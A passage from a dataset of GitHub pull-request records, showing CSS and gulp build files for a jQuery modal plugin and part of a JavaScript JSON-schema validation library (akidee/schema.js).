url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAAXNSR0IArs4c6QAAA3hJREFUaAXlm8+K00Acx7MiCIJH/yw+gA9g25O49SL4AO3Bp1jw5NvktC+wF88qevK4BU97EmzxUBCEolK/n5gp3W6TTJPfpNPNF37MNsl85/vN/DaTmU6PknC4K+pniqeKJ3k8UnkvDxXJzzy+q/yaxxeVHxW/FNHjgRSeKt4rFoplzaAuHHDBGR2eS9G54reirsmienDCTRt7xwsp+KAoEmt9nLaGitZxrBbPFNaGfPloGw2t4JVamSt8xYW6Dg1oCYo3Yv+rCGViV160oMkcd8SYKnYV1Nb1aEOjCe6L5ZOiLfF120EjWhuBu3YIZt1NQmujnk5F4MgOpURzLfAwOBSTmzp3fpDxuI/pabxpqOoz2r2HLAb0GMbZKlNV5/Hg9XJypguryA7lPF5KMdTZQzHjqxNPhWhzIuAruOl1eNqKEx1tSh5rfbxdw7mOxCq4qS68ZTjKS1YVvilu559vWvFHhh4rZrdyZ69Vmpgdj8fJbDZLJpNJ0uv1cnr/gjrUhQMuI+ANjyuwftQ0bbL6Erp0mM/ny8Fg4M3LtdRxgMtKl3jwmIHVxYXChFy94/Rmpa/pTbNUhstKV+4Rr8lLQ9KlUvJKLyG8yvQ2s9SBy1Jb7jV5a0yapfF6apaZLjLLcWtd4sNrmJUMHyM+1xibTjH82Zh01TNlhsrOhdKTe00uAzZQmN6+KW+sDa/JD2PSVQ873m29yf+1Q9VDzfEYlHi1G5LKBBWZbtEsHbFwb1oYDwr1ZiF/2bnCSg1OBE/pfr9/bWx26UxJL3ONPISOLKUvQza0LZUxSKyjpdTGa/vDEr25rddbMM0Q3O6Lx3rqFvU+x6UrRKQY7tyrZecmD9FODy8uLizTmilwNj0kraNcAJhOp5aGVwsAGD5VmJBrWWbJSgWT9zrzWepQF47RaGSiKfeGx6Szi3gzmX/HHbihwBser4B9UJYpFBNX4R6vTn3VQnez0SymnrHQMsRYGTr1dSk34ljRqS/EMd2pLQ8YBp3a1PLfcqCpo8gtHkZFHKkTX6fs3MY0blKnth66rKCnU0VRGu37ONrQaA4eZDFtWAu2fXj9zjFkxTBOo8F7t926gTp/83Kyzzcy2kZD6xiqxTYnHLRFm3vHiRSwNSjkz3hoIzo8lCKWUlg/YtGs7tObunDAZfpDLbfEI15zsEIY3U/x/gHHc/G1zltnAgAAAABJRU5ErkJggg==');\n\n}\n\n.modal-spinner {\n  display: none;\n  position: fixed;\n  top: 50%;\n  left: 50%;\n  transform: translateY(-50%) translateX(-50%);\n  padding: 12px 16px;\n  border-radius: 5px;\n  background-color: #111;\n  height: 20px;\n}\n\n.modal-spinner > div {\n  border-radius: 100px;\n  background-color: #fff;\n  height: 20px;\n  width: 2px;\n  margin: 0 1px;\n  display: inline-block;\n\n  -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;\n  animation: sk-stretchdelay 1.2s infinite ease-in-out;\n}\n\n.modal-spinner .rect2 {\n  -webkit-animation-delay: -1.1s;\n  animation-delay: -1.1s;\n}\n\n.modal-spinner .rect3 {\n  -webkit-animation-delay: -1.0s;\n  animation-delay: -1.0s;\n}\n\n.modal-spinner .rect4 {\n  -webkit-animation-delay: -0.9s;\n  animation-delay: -0.9s;\n}\n\n@-webkit-keyframes sk-stretchdelay {\n  0%, 40%, 100% { -webkit-transform: scaleY(0.5) }\n  20% { -webkit-transform: scaleY(1.0) }\n}\n\n@keyframes sk-stretchdelay {\n  0%, 40%, 100% {\n    transform: scaleY(0.5);\n    -webkit-transform: scaleY(0.5);\n  }  20% {\n    transform: scaleY(1.0);\n    -webkit-transform: scaleY(1.0);\n  }\n}\n", "jquery.modal.min.css": ".blocker{position:fixed;top:0;right:0;bottom:0;left:0;width:100%;height:100%;overflow:auto;z-index:1;padding:20px;box-sizing:border-box;background-color:#000;background-color:rgba(0,0,0,0.75);text-align:center}.blocker:before{content:\"\";display:inline-block;height:100%;vertical-align:middle;margin-right:-0.05em}.blocker.behind{background-color:transparent}.modal{display:none;vertical-align:middle;position:relative;z-index:2;max-width:500px;box-sizing:border-box;width:90%;background:#fff;padding:15px 30px;-webkit-border-radius:8px;-moz-border-radius:8px;-o-border-radius:8px;-ms-border-radius:8px;border-radius:8px;-webkit-box-shadow:0 0 10px #000;-moz-box-shadow:0 0 10px #000;-o-box-shadow:0 0 10px #000;-ms-box-shadow:0 0 10px #000;box-shadow:0 0 10px #000;text-align:left}.modal a.close-modal{position:absolute;top:-12.5px;right:-12.5px;display:block;width:30px;height:30px;text-indent:-9999px;background-size:contain;background-repeat:no-repeat;background-position:center center;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAAXNSR0IArs4c6QAAA3hJREFUaAXlm8+K00Acx7MiCIJH/yw+gA9g25O49SL4AO3Bp1jw5NvktC+wF88qevK4BU97EmzxUBCEolK/n5gp3W6TTJPfpNPNF37MNsl85/vN/DaTmU6PknC4K+pniqeKJ3k8UnkvDxXJzzy+q/yaxxeVHxW/FNHjgRSeKt4rFoplzaAuHHDBGR2eS9G54reirsmienDCTRt7xwsp+KAoEmt9nLaGitZxrBbPFNaGfPloGw2t4JVamSt8xYW6Dg1oCYo3Yv+rCGViV160oMkcd8SYKnYV1Nb1aEOjCe6L5ZOiLfF120EjWhuBu3YIZt1NQmujnk5F4MgOpURzLfAwOBSTmzp3fpDxuI/pabxpqOoz2r2HLAb0GMbZKlNV5/Hg9XJypguryA7lPF5KMdTZQzHjqxNPhWhzIuAruOl1eNqKEx1tSh5rfbxdw7mOxCq4qS68ZTjKS1YVvilu559vWvFHhh4rZrdyZ69Vmpgdj8fJbDZLJpNJ0uv1cnr/gjrUhQMuI+ANjyuwftQ0bbL6Erp0mM/ny8Fg4M3LtdRxgMtKl3jwmIHVxYXChFy94/Rmpa/pTbNUhstKV+4Rr8lLQ9KlUvJKLyG8yvQ2s9SBy1Jb7jV5a0yapfF6apaZLjLLcWtd4sNrmJUMHyM+1xibTjH82Zh01TNlhsrOhdKTe00uAzZQmN6+KW+sDa/JD2PSVQ873m29yf+1Q9VDzfEYlHi1G5LKBBWZbtEsHbFwb1oYDwr1ZiF/2bnCSg1OBE/pfr9/bWx26UxJL3ONPISOLKUvQza0LZUxSKyjpdTGa/vDEr25rddbMM0Q3O6Lx3rqFvU+x6UrRKQY7tyrZecmD9FODy8uLizTmilwNj0kraNcAJhOp5aGVwsAGD5VmJBrWWbJSgWT9zrzWepQF47RaGSiKfeGx6Szi3gzmX/HHbihwBser4B9UJYpFBNX4R6vTn3VQnez0SymnrHQMsRYGTr1dSk34ljRqS/EMd2pLQ8YBp3a1PLfcqCpo8gtHkZFHKkTX6fs3MY0blKnth66rKCnU0VRGu37ONrQaA4eZDFtWAu2fXj9zjFkxTBOo8F7t926gTp/83Kyzzcy2kZD6xiqxTYnHLRFm3vHiRSwNSjkz3hoIzo8lCKWUlg/YtGs7tObunDAZfpDLbfEI15zsEIY3U/x/gHHc/G1zltnAgAAAABJRU5ErkJggg==')}.modal-spinner{display:none;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);padding:12px 16px;border-radius:5px;background-color:#111;height:20px}.modal-spinner>div{border-radius:100px;background-color:#fff;height:20px;width:2px;margin:0 1px;display:inline-block;-webkit-animation:sk-stretchdelay 1.2s infinite ease-in-out;animation:sk-stretchdelay 1.2s infinite ease-in-out}.modal-spinner .rect2{-webkit-animation-delay:-1.1s;animation-delay:-1.1s}.modal-spinner .rect3{-webkit-animation-delay:-1.0s;animation-delay:-1.0s}.modal-spinner .rect4{-webkit-animation-delay:-0.9s;animation-delay:-0.9s}@-webkit-keyframes sk-stretchdelay{0%,40%,100%{-webkit-transform:scaleY(0.5)}20%{-webkit-transform:scaleY(1.0)}}@keyframes sk-stretchdelay{0%,40%,100%{transform:scaleY(0.5);-webkit-transform:scaleY(0.5)}20%{transform:scaleY(1.0);-webkit-transform:scaleY(1.0)}}"}, "files_after": {"gulpfile.js": "var gulp = require('gulp');\nvar uglify = require(\"gulp-uglify\");\nvar uglifycss = require(\"gulp-uglifycss\");\nvar rename = require('gulp-rename');\nvar changelog = require('gulp-conventional-changelog');\n\ngulp.task('min', function() {\n  gulp.src('jquery.modal.js')\n    .pipe(uglify({preserveComments: 'license'}))\n    .pipe(rename('jquery.modal.min.js'))\n    .pipe(gulp.dest('.'));\n});\n\ngulp.task('css', async function() {\n  gulp.src('jquery.modal.css')\n    .pipe(uglifycss())\n    .pipe(rename('jquery.modal.min.css'))\n    .pipe(gulp.dest('.'));\n});\n\ngulp.task('changelog', function() {\n  gulp.src('CHANGELOG.md')\n    .pipe(changelog())\n    .pipe(gulp.dest('.'));\n});\n", "jquery.modal.css": ".blocker {\n  position: fixed;\n  top: 0; right: 0; bottom: 0; left: 0;\n  width: 100%; height: 100%;\n  overflow: auto;\n  z-index: 1;\n  padding: 20px;\n  box-sizing: border-box;\n  background-color: rgb(0,0,0);\n  background-color: rgba(0,0,0,0.75);\n  text-align: center;\n}\n.blocker:before{\n  content: \"\";\n  display: inline-block;\n  height: 100%;\n  vertical-align: middle;\n  margin-right: -0.05em;\n}\n.blocker.behind {\n  background-color: transparent;\n}\n.jquery-modal .modal {\n  display: none;\n  vertical-align: middle;\n  position: relative;\n  z-index: 2;\n  max-width: 500px;\n  box-sizing: border-box;\n  width: 90%;\n  background: #fff;\n  padding: 15px 30px;\n  -webkit-border-radius: 8px;\n  -moz-border-radius: 8px;\n  -o-border-radius: 8px;\n  -ms-border-radius: 8px;\n  border-radius: 8px;\n  -webkit-box-shadow: 0 0 10px #000;\n  -moz-box-shadow: 0 0 10px #000;\n  -o-box-shadow: 0 0 10px #000;\n  -ms-box-shadow: 0 0 10px #000;\n  box-shadow: 0 0 10px #000;\n  text-align: left;\n}\n\n.jquery-modal .modal a.close-modal {\n  position: absolute;\n  top: -12.5px;\n  right: -12.5px;\n  display: block;\n  width: 30px;\n  height: 30px;\n  text-indent: -9999px;\n  background-size: contain;\n  background-repeat: no-repeat;\n  background-position: center center;\n  background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAAXNSR0IArs4c6QAAA3hJREFUaAXlm8+K00Acx7MiCIJH/yw+gA9g25O49SL4AO3Bp1jw5NvktC+wF88qevK4BU97EmzxUBCEolK/n5gp3W6TTJPfpNPNF37MNsl85/vN/DaTmU6PknC4K+pniqeKJ3k8UnkvDxXJzzy+q/yaxxeVHxW/FNHjgRSeKt4rFoplzaAuHHDBGR2eS9G54reirsmienDCTRt7xwsp+KAoEmt9nLaGitZxrBbPFNaGfPloGw2t4JVamSt8xYW6Dg1oCYo3Yv+rCGViV160oMkcd8SYKnYV1Nb1aEOjCe6L5ZOiLfF120EjWhuBu3YIZt1NQmujnk5F4MgOpURzLfAwOBSTmzp3fpDxuI/pabxpqOoz2r2HLAb0GMbZKlNV5/Hg9XJypguryA7lPF5KMdTZQzHjqxNPhWhzIuAruOl1eNqKEx1tSh5rfbxdw7mOxCq4qS68ZTjKS1YVvilu559vWvFHhh4rZrdyZ69Vmpgdj8fJbDZLJpNJ0uv1cnr/gjrUhQMuI+ANjyuwftQ0bbL6Erp0mM/ny8Fg4M3LtdRxgMtKl3jwmIHVxYXChFy94/Rmpa/pTbNUhstKV+4Rr8lLQ9KlUvJKLyG8yvQ2s9SBy1Jb7jV5a0yapfF6apaZLjLLcWtd4sNrmJUMHyM+1xibTjH82Zh01TNlhsrOhdKTe00uAzZQmN6+KW+sDa/JD2PSVQ873m29yf+1Q9VDzfEYlHi1G5LKBBWZbtEsHbFwb1oYDwr1ZiF/2bnCSg1OBE/pfr9/bWx26UxJL3ONPISOLKUvQza0LZUxSKyjpdTGa/vDEr25rddbMM0Q3O6Lx3rqFvU+x6UrRKQY7tyrZecmD9FODy8uLizTmilwNj0kraNcAJhOp5aGVwsAGD5VmJBrWWbJSgWT9zrzWepQF47RaGSiKfeGx6Szi3gzmX/HHbihwBser4B9UJYpFBNX4R6vTn3VQnez0SymnrHQMsRYGTr1dSk34ljRqS/EMd2pLQ8YBp3a1PLfcqCpo8gtHkZFHKkTX6fs3MY0blKnth66rKCnU0VRGu37ONrQaA4eZDFtWAu2fXj9zjFkxTBOo8F7t926gTp/83Kyzzcy2kZD6xiqxTYnHLRFm3vHiRSwNSjkz3hoIzo8lCKWUlg/YtGs7tObunDAZfpDLbfEI15zsEIY3U/x/gHHc/G1zltnAgAAAABJRU5ErkJggg==');\n\n}\n\n.jquery-modal .modal-spinner {\n  display: none;\n  position: fixed;\n  top: 50%;\n  left: 50%;\n  transform: translateY(-50%) translateX(-50%);\n  padding: 12px 16px;\n  border-radius: 5px;\n  background-color: #111;\n  height: 20px;\n}\n\n.jquery-modal .modal-spinner > div {\n  border-radius: 100px;\n  background-color: #fff;\n  height: 20px;\n  width: 2px;\n  margin: 0 1px;\n  display: inline-block;\n\n  -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;\n  animation: sk-stretchdelay 1.2s infinite ease-in-out;\n}\n\n.jquery-modal .modal-spinner .rect2 {\n  -webkit-animation-delay: -1.1s;\n  animation-delay: -1.1s;\n}\n\n.jquery-modal .modal-spinner .rect3 {\n  -webkit-animation-delay: -1.0s;\n  animation-delay: -1.0s;\n}\n\n.jquery-modal .modal-spinner .rect4 {\n  -webkit-animation-delay: -0.9s;\n  animation-delay: -0.9s;\n}\n\n@-webkit-keyframes sk-stretchdelay {\n  0%, 40%, 100% { -webkit-transform: scaleY(0.5) }\n  20% { -webkit-transform: scaleY(1.0) }\n}\n\n@keyframes sk-stretchdelay {\n  0%, 40%, 100% {\n    transform: scaleY(0.5);\n    -webkit-transform: scaleY(0.5);\n  }  20% {\n    transform: scaleY(1.0);\n    -webkit-transform: scaleY(1.0);\n  }\n}\n", "jquery.modal.min.css": ".blocker{position:fixed;top:0;right:0;bottom:0;left:0;width:100%;height:100%;overflow:auto;z-index:1;padding:20px;box-sizing:border-box;background-color:#000;background-color:rgba(0,0,0,0.75);text-align:center}.blocker:before{content:\"\";display:inline-block;height:100%;vertical-align:middle;margin-right:-0.05em}.blocker.behind{background-color:transparent}.jquery-modal .modal{display:none;vertical-align:middle;position:relative;z-index:2;max-width:500px;box-sizing:border-box;width:90%;background:#fff;padding:15px 30px;-webkit-border-radius:8px;-moz-border-radius:8px;-o-border-radius:8px;-ms-border-radius:8px;border-radius:8px;-webkit-box-shadow:0 0 10px #000;-moz-box-shadow:0 0 10px #000;-o-box-shadow:0 0 10px #000;-ms-box-shadow:0 0 10px #000;box-shadow:0 0 10px #000;text-align:left}.jquery-modal .modal a.close-modal{position:absolute;top:-12.5px;right:-12.5px;display:block;width:30px;height:30px;text-indent:-9999px;background-size:contain;background-repeat:no-repeat;background-position:center center;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADwAAAA8CAYAAAA6/NlyAAAAAXNSR0IArs4c6QAAA3hJREFUaAXlm8+K00Acx7MiCIJH/yw+gA9g25O49SL4AO3Bp1jw5NvktC+wF88qevK4BU97EmzxUBCEolK/n5gp3W6TTJPfpNPNF37MNsl85/vN/DaTmU6PknC4K+pniqeKJ3k8UnkvDxXJzzy+q/yaxxeVHxW/FNHjgRSeKt4rFoplzaAuHHDBGR2eS9G54reirsmienDCTRt7xwsp+KAoEmt9nLaGitZxrBbPFNaGfPloGw2t4JVamSt8xYW6Dg1oCYo3Yv+rCGViV160oMkcd8SYKnYV1Nb1aEOjCe6L5ZOiLfF120EjWhuBu3YIZt1NQmujnk5F4MgOpURzLfAwOBSTmzp3fpDxuI/pabxpqOoz2r2HLAb0GMbZKlNV5/Hg9XJypguryA7lPF5KMdTZQzHjqxNPhWhzIuAruOl1eNqKEx1tSh5rfbxdw7mOxCq4qS68ZTjKS1YVvilu559vWvFHhh4rZrdyZ69Vmpgdj8fJbDZLJpNJ0uv1cnr/gjrUhQMuI+ANjyuwftQ0bbL6Erp0mM/ny8Fg4M3LtdRxgMtKl3jwmIHVxYXChFy94/Rmpa/pTbNUhstKV+4Rr8lLQ9KlUvJKLyG8yvQ2s9SBy1Jb7jV5a0yapfF6apaZLjLLcWtd4sNrmJUMHyM+1xibTjH82Zh01TNlhsrOhdKTe00uAzZQmN6+KW+sDa/JD2PSVQ873m29yf+1Q9VDzfEYlHi1G5LKBBWZbtEsHbFwb1oYDwr1ZiF/2bnCSg1OBE/pfr9/bWx26UxJL3ONPISOLKUvQza0LZUxSKyjpdTGa/vDEr25rddbMM0Q3O6Lx3rqFvU+x6UrRKQY7tyrZecmD9FODy8uLizTmilwNj0kraNcAJhOp5aGVwsAGD5VmJBrWWbJSgWT9zrzWepQF47RaGSiKfeGx6Szi3gzmX/HHbihwBser4B9UJYpFBNX4R6vTn3VQnez0SymnrHQMsRYGTr1dSk34ljRqS/EMd2pLQ8YBp3a1PLfcqCpo8gtHkZFHKkTX6fs3MY0blKnth66rKCnU0VRGu37ONrQaA4eZDFtWAu2fXj9zjFkxTBOo8F7t926gTp/83Kyzzcy2kZD6xiqxTYnHLRFm3vHiRSwNSjkz3hoIzo8lCKWUlg/YtGs7tObunDAZfpDLbfEI15zsEIY3U/x/gHHc/G1zltnAgAAAABJRU5ErkJggg==')}.jquery-modal .modal-spinner{display:none;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);padding:12px 16px;border-radius:5px;background-color:#111;height:20px}.jquery-modal .modal-spinner>div{border-radius:100px;background-color:#fff;height:20px;width:2px;margin:0 1px;display:inline-block;-webkit-animation:sk-stretchdelay 1.2s infinite ease-in-out;animation:sk-stretchdelay 1.2s infinite ease-in-out}.jquery-modal .modal-spinner .rect2{-webkit-animation-delay:-1.1s;animation-delay:-1.1s}.jquery-modal .modal-spinner .rect3{-webkit-animation-delay:-1.0s;animation-delay:-1.0s}.jquery-modal .modal-spinner .rect4{-webkit-animation-delay:-0.9s;animation-delay:-0.9s}@-webkit-keyframes sk-stretchdelay{0%,40%,100%{-webkit-transform:scaleY(0.5)}20%{-webkit-transform:scaleY(1.0)}}@keyframes sk-stretchdelay{0%,40%,100%{transform:scaleY(0.5);-webkit-transform:scaleY(0.5)}20%{transform:scaleY(1.0);-webkit-transform:scaleY(1.0)}}"}}
{"repo": "akidee/schema.js", "pr_number": 6, "title": "module.exports", "state": "closed", "merged_at": null, "additions": 563, "deletions": 389, "files_changed": ["index.js", "plugins/default.js", "plugins/fixture.js", "schemas/jsonSchemaCore.js"], "files_before": {"index.js": "// schema.js - index - Copyright Andreas Kalsch <andreaskalsch@gmx.de> (MIT Licensed)\n\n \n \n\n\"use strict\";\nvar sys = require('sys');\nrequire('extensions');\n\n\n\n\nvar LANG = 'de';\n\n\n\n\nfunction _Error (path, name, message) {\n\n\tthis.path = path\n\t\t? path.clone()\n\t\t: [];\n\tthis.name = name || '';\n\tthis.message = message || '';\n};\n\n_Error.prototype = new Error;\n_Error.prototype.constructor = _Error;\n\n\n\n\nfunction Validation (rootSchema, instance) {\n\n\tthis.id = ++Validation._id;\n\n\t// Save combination of objects/schemas\t\n\tthis._flags = {};\n\n\tthis._wasError = 0;\n\t\n\t// Stack of schemas\n\tthis._stack = [];\n\tthis.push(rootSchema);\n\t\n\t// Current path\n\tthis.path = [];\n\t\n\t/// Relevant?\n\tthis.rootSchema = rootSchema;\n\t\n\t// Both relevant properties the user is interested in\n\tthis.errors = [];\n\tthis.instance = instance;\n\tthis.instance = this.start(instance);\n\t\n\tdelete this._flags, this._wasError, this._stack;\n};\n\nObject.extend(Validation.prototype, {\n\n\n\t// change state\n\n\tpushError: function (name, message) {\n\t\n\t\t/*message = message \n\t\t\t|| Schema.messages[name]\n\t\t\t\t? (\n\t\t\t\t\tSchema.messages[name][Schema.LANG || LANG]\n\t\t\t\t\t\t|| Schema.messages[name].en\n\t\t\t\t).call(this)\n\t\t\t\t: '';*/\n\t\n\t\tthis.errors.push(new _Error(this.path, name, message));\n\t\tthis._wasError++;\n\t},\n\t\n\twasError: function () {\n\t\n\t\tvar was = this._wasError;\n\t\tthis._wasError = 0;\n\t\treturn was;\n\t},\n\t\n\tisError: function () {\n\t\n\t\treturn this.errors.length > 0;\n\t},\n\t\n\tpush: function (schema, key) {\n\t\n\t\tthis.schema = schema;\n\t\tthis._stack.push(schema);\n\t\tif (key !== undefined) this.path.push(key);\n\t},\n\t\n\tpop: function (omitKey) {\n\t\n\t\tvar ret = [\n\t\t\tthis._stack.pop(),\n\t\t\tomitKey ? undefined : this.path.pop()\n\t\t];\n\t\tvar len = this._stack.length;\n\t\tthis.schema = len \n\t\t\t? this._stack[len - 1]\n\t\t\t: null;\n\t\treturn ret;\n\t},\n\t\n\tgetFlag: function (instance) {\n\t\n\t\treturn Object.id(instance)+'_'+this.schema.id;\n\t},\n\t\n\tflagObject: function (instance) {\n\t\n\t\tthis._flags[this.getFlag(instance)] = true;\n\t\treturn instance;\n\t},\n\t\n\tisObjectFlagged: function (instance) {\n\t\n\t\treturn this.getFlag(instance) in this._flags;\n\t},\n\t\n\t\n\t\n\t// start\n\t\n\tstart: function (instance) {\n\t\n\t\tif (instance instanceof Object) {\n\t\t\n\t\t\tif (this.isObjectFlagged(instance)) return instance;\n\t\t\tthis.flagObject(instance);\n\t\t}\n\t\t\n\t\tinstance = this.extends(instance); if (this.wasError()) return instance;\n\n\t\tinstance = this.optional(instance); if (this.wasError() || instance === undefined) return instance;\n\t\t\n\t\tinstance = this.adapters(instance); if (this.wasError()) return instance;\n\t\t\n\t\tinstance = this.type(instance); if (this.wasError()) return instance;\n\t\t\n\t\tinstance = this.requires(instance);\n\t\t\n\t\treturn instance;\n\t},\n\t\n\t\n\t// checkers\n\t\n\textends: function (instance) {\n\t\n\t\tif (!this.schema.extends) return instance;\n\t\t\n\t\tthis.push(this.schema.extends);\n\t\tinstance = this.start(instance);\n\t\tthis.pop(true);\n\t\t\n\t\treturn instance;\n\t},\n\t\n\toptional: function (instance) {\n\n\t\treturn (this.schema.optional || instance !== undefined)\n\t\t\t? instance\n\t\t\t: this.schema.__optional.call(this, instance);\n\t},\n\t\t\n\tadapters: function (instance) {\n\t\n\t\tif (!this.schema.adapters) return instance;\n\t\t\n\t\t\n\t\tvar adapters = this.schema.adapters;\n\t\t\n\t\tif (!(adapters instanceof Array)) {\n\n\t\t\treturn (typeof adapters === 'string' \n\t\t\t\t? Schema.plugins[adapters]\n\t\t\t\t: adapters).call(this, instance);\n\t\t}\n\t\t\t\n\n\t\tvar len = this.errors.length,\n\t\t\tadapter;\n\t\tfor (var li = adapters.length, i = 0; i < li; i++) {\n\t\t\t\t\n\t\t\tadapter = adapters[i];\n\t\t\t\t\n\t\t\tinstance = (typeof adapter === 'string'\n\t\t\t\t? Schema.plugins[adapter]\n\t\t\t\t: adapter).call(this, instance);\n\t\t\t\t\n\t\t\tif (this.errors.length > len) return instance;\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\ttype: function (instance, type, isFirst) {\n\t\t\n\t\tisFirst = isFirst === false\n\t\t\t? false\n\t\t\t: true;\n\t\t\n\t\tvar toType = type || this.schema.type;\n\t\t\n\t\tif (!(toType instanceof Array)) {\n\t\n\t\t\tvar fromType = typeof instance;\n\t\t\t\n\t\t\tvar ok = (function () {\n\t\t\t\n\t\t\t\tif (toType === 'any') return true;\n\t\t\t\n\t\t\t\tif (toType === 'null') return instance === null;\n\t\t\t\t\n\t\t\t\tif (toType === 'array') return instance instanceof Array;\n\t\t\t\t\n\t\t\t\tif (toType === 'object') return instance instanceof Object && !(instance instanceof Array);\n\t\t\t\t\n\t\t\t\tif (toType === 'number') return fromType === 'number';\n\t\t\t\t\n\t\t\t\tif (toType === 'integer') return Math.round(instance) === instance;\n\t\t\t\t\n\t\t\t\tif (toType === 'string') return fromType === 'string';\n\t\t\t\t\n\t\t\t\tif (toType === 'boolean') return fromType === 'boolean';\n\t\t\t})();\n\t\t\t\t\n\t\t\tif (!ok) {\n\n\t\t\t\tinstance = this.schema.__type.call(this, instance); if (this.wasError()) return instance;\n\t\t\t}\n\t\t\t\t\n\t\t\tvar type = typeof instance;\n\n\t\t\tif (type === 'number') {\n\t\t\t\n\t\t\t\tinstance = this.minimum(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tinstance = this.maximum(instance); if (this.wasError()) return instance;\n\t\t\t\n\t\t\t\tinstance = this.maxDecimal(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\t\t\t\t\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (type === 'string') {\n\t\t\t\n\t\t\t\tinstance = this.pattern(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tinstance = this.minLength(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tinstance = this.maxLength(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\t\t\t\t\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (instance instanceof Array) {\n\t\t\t\n\t\t\t\tinstance = this.minItems(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tinstance = this.maxItems(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tinstance = this.items(instance); if (this.wasError()) return instance;\n\n\t\t\t\tinstance = this.additionalProperties(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\t\t\t\t\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\tif (instance instanceof Object) {\n\t\t\t\n\t\t\t\tinstance = this.properties(instance);\n\t\t\t\t\n\t\t\t\tinstance = this.additionalProperties(instance); if (this.wasError()) return instance;\n\t\t\t\t\n\t\t\t\tif (isFirst) instance = this.enum(instance);\n\t\t\t\t\n\t\t\t\treturn instance;\n\t\t\t}\n\t\t\t\n\t\t\treturn instance;\n\t\t}\n\t\telse {\n\n\t\t\tvar inst,\n\t\t\t\tlen = this.errors.length;\n\t\t\tfor (var li = toType.length, i = 0; i < li; i++) {\n\t\t\n\t\t\t\tinst = this.type(instance, toType[i], i === 0);\n\t\t\t\tif (this.errors.length === len) {\n\t\t\t\t\n\t\t\t\t\tinstance = inst;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif (i + 1 < li) {\n\t\t\t\t\n\t\t\t\t\tthis.errors.splice(len);\n\t\t\t\t\tthis.wasError();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\tenum: function (instance) {\n\t\t\n\t\tif ('enum' in this.schema) {\n\t\t\n\t\t\t/// Tolerant ?\n\t\t\treturn this.schema.enum.indexOf(instance) > -1 \n\t\t\t\t? instance\n\t\t\t\t: this.schema.__enum.call(this, instance);\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\trequires: function (instance) {\n\t\t\n\t\tif (this.schema.requires !== undefined\n\t\t\t&& this.parentInstance) {\n\n\t\t\t/// requires as string will be replaces by schem, like this:\n\t\t\tvar tempSchema;\n\t\t\tif (typeof this.schema.requires === 'string') {\n\t\t\t\n\t\t\t\ttempSchema = {\n\t\t\t\t\n\t\t\t\t\tproperties: {}\n\t\t\t\t};\n\t\t\t\ttempSchema.properties[this.schema.requires] = new Schema({type:'any'});\n\t\t\t}\n\t\t\telse {\n\t\t\t\n\t\t\t\ttempSchema = {\n\t\t\t\n\t\t\t\t\tproperties: this.schema.requires\n\t\t\t\t};\n\t\t\t}\n\t\t\t\n\t\t\tvar schema_key = this.pop();\n\t\t\t\n\t\t\tthis.push(tempSchema);\n\n\t\t\tthis.properties(this.parentInstance);\n\t\t\t\n\t\t\tthis.pop(true);\n\t\t\tthis.push.apply(this, schema_key);\n\t\t}\n\t\t\n\t\treturn instance;\n\t},\n\t\n\tproperties: function (instance) {\n\t\n\t\tif ('properties' in this.schema) {\n\t\n\t\t\tvar props = this.schema.properties,\n\t\t\t\tprop,\n\t\t\t\tinst;\n\t\t\t\n\t\t\tthis.parentInstance = instance;\n\n\t\t\tvar isIn, inst;\n\t\t\tfor (var key in props) {\n\n\t\t\t\tthis.push(props[key], key);\n\t\t\t\tisIn = key in instance;\n\t\t\t\tinst = this.start(instance[key]);\n\t\t\t\t\n\t\t\t\tif (isIn || inst !== undefined) instance[key] = inst;\n\t\t\t\tthis.pop();\n\t\t\t}\n\t\t\t\n\t\t\tthis.parentInstance = null;\n\t\t}\n\t\t\n\t\tthis.wasError();\n\t\treturn instance;\n\t},\n\t\n\tadditionalProperties: function (instance) {\n\t\n\t\tif ('additionalProperties' in this.schema) {\n\t\n\t\t\tif (instance instanceof Object && !(instance instanceof Array)) {\n\t\t\t\n\t\t\t\tvar props = this.schema.properties || {};\n\t\t\n\t\t\t\tif (!this.schema.additionalProperties) {\n\t\t\t\t\t\n\t\t\t\t\tfor (var ks = Object.keys(\n\t\t\t\t\t\tinstance\n\t\t\t\t\t), li = ks.length, i = 0, key; key = ks[i], i < li; i++) {\n\t\t\n\t\t\t\t\t\tif (!(key in props)) {\n\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn this.schema.__additionalProperties.call(this, instance);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (this.schema.additionalProperties !== true) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tfor (var ks = Object.keys(\n\t\t\t\t\t\tinstance\n\t\t\t\t\t), li = ks.length, i = 0, key; key = ks[i], i < li; i++) {\n\t\t\n\t\t\t\t\t\tif (!(key in props)) 